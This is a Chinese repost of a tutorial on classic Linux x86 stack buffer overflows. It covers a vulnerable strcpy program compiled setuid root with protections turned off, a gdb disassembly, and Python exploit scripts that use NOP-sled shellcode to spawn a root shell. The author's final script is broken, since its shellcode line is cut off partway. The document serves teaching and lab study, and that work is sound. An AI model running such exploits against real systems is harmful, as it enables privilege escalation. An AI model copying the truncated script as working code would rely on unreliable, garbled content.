Linux Exploit系列之一 典型的基於堆棧的緩沖區溢出


Linux (x86) Exploit 開發系列教程之一(典型的基於堆棧的緩沖區溢出)

Note:本文大部分來自於看雪hackyzh的中文翻譯,加入了一些自己的理解

 典型的基於堆棧的緩沖區溢出

虛擬機安裝:Ubuntu 12.04(x86)

這個帖子是最簡單的漏洞開發教程系列,在互聯網上你可以找到很多關於它的文章。盡管它豐富和熟悉,我更喜歡自己寫博客文章,因為它將作為我未來許多職位的先決條件!

什么是緩沖區溢出?

將源緩沖區復制到目標緩沖區可能導致溢出

1、源字符串長度大於目標字符串長度。

2、不進行大小檢查。

緩沖區溢出有兩種類型:

1、基於堆棧的緩沖區溢出 - 這里的目標緩沖區位於堆棧中

2、基於堆的緩沖區溢出 - 這里的目標緩沖區位於堆中

在這篇文章中,我將只討論基於堆棧的緩沖區溢出。堆溢出將在Linux(x86)漏洞開發教程系列的 “3級”中討論!

緩沖區溢出錯誤導致任意代碼執行!

什么是任意代碼執行?

任意代碼執行允許攻擊者執行他的代碼以獲得對受害機器的控制。受害機器的控制是通過多種方式實現的,例如產生根shell,添加新用戶,打開網口等...

聽起來很有趣,足夠的定義讓我們看看緩沖區溢出攻擊的代碼!

漏洞代碼

1 //vuln.c
2 #include <stdio.h>
3 #include <string.h>
4 int main(int argc, char* argv[]) {
5         /* [1] */ char buf[256];
6         /* [2] */ strcpy(buf,argv[1]);
7         /* [3] */ printf("Input:%s\n",buf);
8         return 0;
9 }

編譯代碼

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

上述漏洞代碼的[2]行顯示了緩沖區溢出錯誤。這個bug可能導致任意代碼執行,因為源緩沖區內容是用戶輸入的!

如何執行任意代碼執行?

使用稱為“ 返回地址覆蓋 ”的技術實現任意代碼執行。這種技術有助於攻擊者覆蓋位於堆棧中的“返回地址”,並且這種覆蓋將導致任意代碼執行。

在研究漏洞代碼之前,為了更好的理解,讓我們反匯編並且繪制出漏洞代碼的堆棧布局。

反匯編

 1 (gdb) disassemble main
 2 Dump of assembler code for function main:
 3    //Function Prologue
 4    0x08048414 <+0>:push   %ebp                      //backup caller's ebp
 5    0x08048415 <+1>:mov    %esp,%ebp                 //set callee's ebp to esp
 6    0x08048417 <+3>:and    $0xfffffff0,%esp          //棧對齊
 7    0x0804841a <+6>:sub    $0x110,%esp               //stack space for local variables
 8    0x08048420 <+12>:mov    0xc(%ebp),%eax            //eax = argv
 9    0x08048423 <+15>:add    $0x4,%eax                 //eax = &argv[1]
10    0x08048426 <+18>:mov    (%eax),%eax               //eax = argv[1]
11    0x08048428 <+20>:mov    %eax,0x4(%esp)            //strcpy arg2 
12    0x0804842c <+24>:lea    0x10(%esp),%eax           //eax = 'buf' 
13    0x08048430 <+28>:mov    %eax,(%esp)               //strcpy arg1
14    0x08048433 <+31>:call   0x8048330 <strcpy@plt>    //call strcpy
15    0x08048438 <+36>:mov    $0x8048530,%eax           //eax = format str "Input:%s\n"
16    0x0804843d <+41>:lea    0x10(%esp),%edx           //edx = buf
17    0x08048441 <+45>:mov    %edx,0x4(%esp)            //printf arg2
18    0x08048445 <+49>:mov    %eax,(%esp)               //printf arg1
19    0x08048448 <+52>:call   0x8048320 <printf@plt>    //call printf
20    0x0804844d <+57>:mov    $0x0,%eax                 //return value 0
21    //Function Epilogue
22    0x08048452 <+62>:leave                            //mov ebp, esp; pop ebp; 
23    0x08048453 <+63>:ret                              //return
24 End of assembler dump.
25 (gdb)

原文地址:https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/

這個地方需要特殊說明一下,原作者使用的是Ubuntu 12.04 LTS 32位版本的系統,GCC的版本未知,反匯編的代碼是這樣的,我使用Ubuntu 14.04 32位系統,GCC版本4.8.2,disassemble后的代碼不是這樣,但是功能是一樣的,所以不做更多解釋,大家按照原作者和hackyzh的翻譯來讀是沒有什么問題的

翻譯的文章是https://bbs.pediy.com/thread-216868.htm

好煩,不想粘貼過來,大家看原文的,我就寫下我自己的有些地方的理解,和原文會給大家造成的誤解進行解釋。

攻擊代碼原來是這樣的:

 1 #exp.py 
 2 #!/usr/bin/env python
 3 import struct
 4 from subprocess import call
 5 #Stack address where shellcode is copied.
 6 ret_addr = 0xbffff1d0       
 7                
 8 #Spawn a shell
 9 #execve(/bin/sh)
10 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
11 #endianess convertion
12 def conv(num):
13  return struct.pack("<I",numnk + RA + NOP's + Shellcode
14 buf = "A" * 268
15 buf += conv(ret_addr)
16 buf += "\x90" * 100
17 buf += scode
18 print "Calling vulnerable program"
19 call(["./vuln", buf])

第13行的return struct.pack("<I",numnk + RA + NOP's + Shellcode 很明顯是不對的,這里原文作者是大神,都懶得解釋,直接拋個錯誤讓我們自己玩,hackyzh也是大神,也懶得解釋。

這里是返回二進制的意思,正確的寫法應該是:

return struct.pack("<I",num) #nk + RA + NOP's + Shellcode

還有一個地方是返回地址的地方,這個地方大神們也懶得解釋了,看雪論壇也有人在猜這個地方,我覺得可以這樣解釋。

在我的機器上buf的地址(所謂的&buf)是0xbffff340,這樣ret_addr=0xbffff340+0x10c+0x4+0x64=0xbffff654。

之后就可以成功獲得root權限。

最后附上我的exp.py文件

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff654

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$
#endianess convertion
def conv(num):
 return struct.pack("<I",num)#nk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM